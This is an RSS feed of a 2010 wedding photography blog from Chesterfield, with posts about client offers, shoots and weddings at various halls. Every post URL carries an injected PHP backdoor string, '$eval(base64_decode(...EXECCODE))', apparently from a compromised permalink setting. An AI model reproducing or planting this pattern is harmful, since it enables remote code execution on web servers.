Class 1 Weddings http://www.class1weddings.com/blog Destination Wedding Photography & Video, Chesterfield, Derbyshire, UK & International Mon, 06 Sep 2010 22:04:56 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 Two offers to all of our previous clients to take note of!! http://www.class1weddings.com/blog/2010/09/06/two-offers-to-all-of-our-previous-clients-to-take-note-of/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/09/06/two-offers-to-all-of-our-previous-clients-to-take-note-of/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Mon, 06 Sep 2010 22:04:56 +0000 Carl Walters http://www.class1weddings.com/blog/?p=627 Well as the wedding season starts to drawer to a quieter period we are now starting to take bookings for our complimentary “Portraits with Class” sessions.

Just as a reminder, if we have previously shot your wedding you qualify for a complimentary portrait/lifestyle sitting every year.

This is the ideal time now to book in so that we can do a shoot of you and any family additions you may now have in time for Christmas, to present your loved ones with a beautiful portrait, nice for parents, grand parents, or just for yourself. We need to have all sittings booked and shot before the end of November to guarantee a Christmas delivery. Please call us for more details or to book your session.

Another late season offer, If we shot your wedding prior to 2010 and you didn’t purchase a disc with all your images, allowing you to print them, then now is the time to order one. We are offering a massive 40% discount to the first 20 couples on any discs ordered during the month of September. This will be a once only offer, so again if your wondering what to give as Christmas presents, then get yourself a disc and have one of your favourite images printed off and given as a gift.

We look forward to hearing from you.

Carl & Jenny x.

]]> http://www.class1weddings.com/blog/2010/09/06/two-offers-to-all-of-our-previous-clients-to-take-note-of/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The pre-wedding shoot of Karen & Dean at Renishaw Hall http://www.class1weddings.com/blog/2010/09/05/the-pre-wedding-shoot-of-karen-dean-at-renishaw-hall/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/09/05/the-pre-wedding-shoot-of-karen-dean-at-renishaw-hall/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 05 Sep 2010 18:41:55 +0000 Carl Walters http://www.class1weddings.com/blog/?p=623 Well today was a bit special for us at is our 18th wedding anniversary! Eighteen years ago today at 1.30pm we tied the knot, how time flies, we can remember it like it was yesterday! If only wedding photographs of today were around eighteen years ago?

Anyway, we met up with Karen & Dean at Renishaw Hall today to take the pictures of this really easy going couple. Although Jenny has met them both before, it was the first time that I had met them in person. What a nice pair they make. I am really looking forward to shooting their wedding as nothing is too much trouble. Both Karen & Dean were up for any suggestions we made, which makes our job so much easier and this shows through in some of the pictures we got.
I absolutely love this venue, especially the barn area which is my personal favourite.
It’s a few weeks before they themselves tie the knot, but i’m confident it’s going to be a great wedding.
Here’s a slideshow of my favourites of todays shoot.
Carl.

]]> http://www.class1weddings.com/blog/2010/09/05/the-pre-wedding-shoot-of-karen-dean-at-renishaw-hall/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The Wedding of Lyndsey & Khaled, 28th August 2010 at Guisborough Hall http://www.class1weddings.com/blog/2010/09/04/the-wedding-of-lyndsey-khaled-28th-august-2010-at-guisborough-hall/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/09/04/the-wedding-of-lyndsey-khaled-28th-august-2010-at-guisborough-hall/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 04 Sep 2010 11:15:15 +0000 Carl Walters http://www.class1weddings.com/blog/?p=620 Last weekend we photographed the wedding of Lyndsey & Khaled at the beatiful location of Guisborough Hall.
We travelled up the night before and stayed in a hotel in the lovely village of Yarm so we could mke an early start. We drove up to Guisborough Hall to meet up with Khaled and his groomsmen to take some pictures of them getting ready and a few shots around the gardens. We then made our way to see Lyndsey at her house to record the preparations of the girls.
The car arrived and it was off to the church. We were a bit restricted on what we could take during the service but we still got enough shots to tell the story!
It was then off to Guisborough Hall for the reception and wedding breakfast. This weekend was the first time we had photographed a wedding at this location, I hope we get to shoot some more here as it is beautiful. The staff couldn’t do enough for you and were very professional, highly recommended!
Upon our arrival the heavens opened so it put a delay on us getting out into the gardens, but the shower soon passed and it turned out to be really nice after that.
The evening reception started with a live band which were brilliant. As the day drew to an end we said our goodbyes to everyone and made our way back to our hotel.
Here’s a slideshow of our highlight favourites of the day.
Congratulations guy’s. xx

]]> http://www.class1weddings.com/blog/2010/09/04/the-wedding-of-lyndsey-khaled-28th-august-2010-at-guisborough-hall/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Kirsty & James’ wedding day highlight slideshow http://www.class1weddings.com/blog/2010/09/02/kirsty-james-wedding-day-highlight-slideshow/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/09/02/kirsty-james-wedding-day-highlight-slideshow/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 02 Sep 2010 17:48:25 +0000 Carl Walters http://www.class1weddings.com/blog/?p=617 As promised here’s the slideshow of some of our favourites from the wedding of Kirsty & James (see our previous blog).
We had a fantastic weekend shooting and filming this wedding, met a great group of people and met up with some old friends from James’ sisters wedding which we shot a couple of years ago.

Enjoy!

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In the days of digital photography, editing can take up a whole lot of time, especially when you are shooting lots of jobs, and unless you enjoy sitting for hours in front of a computer screen the workload can soon build up, the phone starts ringing from clients chasing their pictures and the hole gets deeper and deeper!

So how can you free up your valuable time to do more of the things you enjoy doing? Simple, send us your RAW images (or jpg’s) and let us do the hard work for you! We will return your edited images to you within seven working business days from receipt. We can do all the culling or, just edit your pre-selection, basically something for everyone.

We will colour correct, exposure correct, white balance correct, and black & white conversions and can return the files as a lightroom catalogue, or as HiRes Jpeg images, you choose.

There is no ongoing subscription costs, no minimum order, no commitment, you simply pay per job!

If you would like more information on pricing, samples etc then please get in touch.

We will be launching a new web site very soon so keep a lookout for it.

Regards, Carl & Jenny

]]> http://www.class1weddings.com/blog/2010/09/01/were-going-to-be-offering-a-brand-new-service-very-soon/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 What’s happening this weekend? http://www.class1weddings.com/blog/2010/08/26/whats-happening-this-weekend/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/08/26/whats-happening-this-weekend/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 26 Aug 2010 20:53:25 +0000 Carl Walters http://www.class1weddings.com/blog/?p=610 We are really looking forward to this weekend’s wedding, the wedding of Lyndsey & Khaled (“K”). We met up with Lyndsey & K a few weeks ago in the gardens in Buxton where we had a great time shooting there pre-wedding pictures. (see our earlier blog).
They are getting married at a lovely church in Kirkleatham followed by a reception at the beautiful location of The Gisborough Hall Hotel, North Yorkshire.
We have been keeping tabs on the weather forecast all week as we may have chance to do a personal shoot of Lyndsey & K on the beach, hopefully. It’s looking okay at the moment with brighter weather coming through! It will be awesome if we can pull it off and have some great ideas for some great pictures.

We are travelling up to Teeside tomorrow afternoon and will be staying in a nice hotel in a neighbouring village Friday & Saturday so we should have a little time to ourselves to enjoy the sights. We have had a real problem getting accommodation for the weekend, everywhere was booked up, probably with it being bank holiday weekend, but thanks to the internet we managed to find this one!

We’ll update the blog next week with images from the day so check back here.

Carl & Jenny

]]> http://www.class1weddings.com/blog/2010/08/26/whats-happening-this-weekend/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The Wedding of Sharon & Kev http://www.class1weddings.com/blog/2010/08/20/the-wedding-of-sharon-kev/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/08/20/the-wedding-of-sharon-kev/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 20 Aug 2010 19:37:25 +0000 Carl Walters http://www.class1weddings.com/blog/?p=606 A few weeks ago we shot the wedding of Sharon and Kev, and what a day it was.
I have already posted some still images of the wedding day but here is the video slideshow of my favourites from the whole day.

Hope you both had a great honeymoon.
Enjoy.
Carl.

]]> http://www.class1weddings.com/blog/2010/08/20/the-wedding-of-sharon-kev/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The Pre-wedding shoot of Mel & Scott http://www.class1weddings.com/blog/2010/08/10/the-pre-wedding-shoot-of-mel-scott/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/08/10/the-pre-wedding-shoot-of-mel-scott/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 10 Aug 2010 01:37:31 +0000 Carl Walters http://www.class1weddings.com/blog/?p=585 Tonight we met up with Mel & Scott over at Thoresby Hall which is to be the venue for their wedding. This is going to be an awesome wedding as we have our good friends Mike & Lauren Richards flying over from the USA to second shoot with us on this wedding. It promises to be something else.
The sky today was something else, and although the images have been edited, i’ve not done a great deal to enhance the skies.
Here’s the faves from the shoot. Hope you like them guy’s.
Carl & Jenny xx

]]> http://www.class1weddings.com/blog/2010/08/10/the-pre-wedding-shoot-of-mel-scott/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The Wedding of Kirsty & James http://www.class1weddings.com/blog/2010/08/10/the-wedding-of-kirsty-james/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/08/10/the-wedding-of-kirsty-james/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 10 Aug 2010 00:21:17 +0000 Carl Walters http://www.class1weddings.com/blog/?p=563 On Saturday we were at the wonderful venue of Petwood Hall in Lincolnshire. Petwood was the Officers mess of the famous 617 Squadron “Dambusters” during World War 2. The place still proud of it’s heritage has lots of memorabilia around. A tribute to the men of the Great War.
But Saturday was the the celebration of the marriage of Kirsty & James, and what a great day it was. We travelled up on Fridy night and stayed at a local hotel along with some of the bridal party. An early morning start and it was off to see James and the boys before moving on to meet up with Kirsty.
It was then off to the quaint church for the service and then onto Petwood Hall for the wedding breakfast.
The party went on into the early hours. We had a great day and night as we stayed at the Petwood also.
Here’s just a bit of a taster of whats to come.
Hope you like them, Carl & Jenny x.

]]> http://www.class1weddings.com/blog/2010/08/10/the-wedding-of-kirsty-james/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 The Pre-Wedding shoot of Lyndsey & Khaled at Buxton Gardens http://www.class1weddings.com/blog/2010/08/06/the-pre-wedding-shoot-of-lyndsey-khaled-at-buxton-gardens/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.class1weddings.com/blog/2010/08/06/the-pre-wedding-shoot-of-lyndsey-khaled-at-buxton-gardens/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 06 Aug 2010 00:22:09 +0000 Carl Walters http://www.class1weddings.com/blog/?p=539 On Sunday, after our busy wedding weekend we met up with Lyndsey & Khaled to go over the final preps for their forthcoming wedding. After a nice cup of tea in the local hotel bar we made our way over to the gardens in the park.
After a few words of advice we got down to it, and more or less straight away Lyndsey & Khaled pulled it off as though they were seasoned pro’s! It certainly made our job easy.
Here’s our favourite pictures of the session. Can’t wait for the wedding, it promises to be great.
Carl & Jenny x





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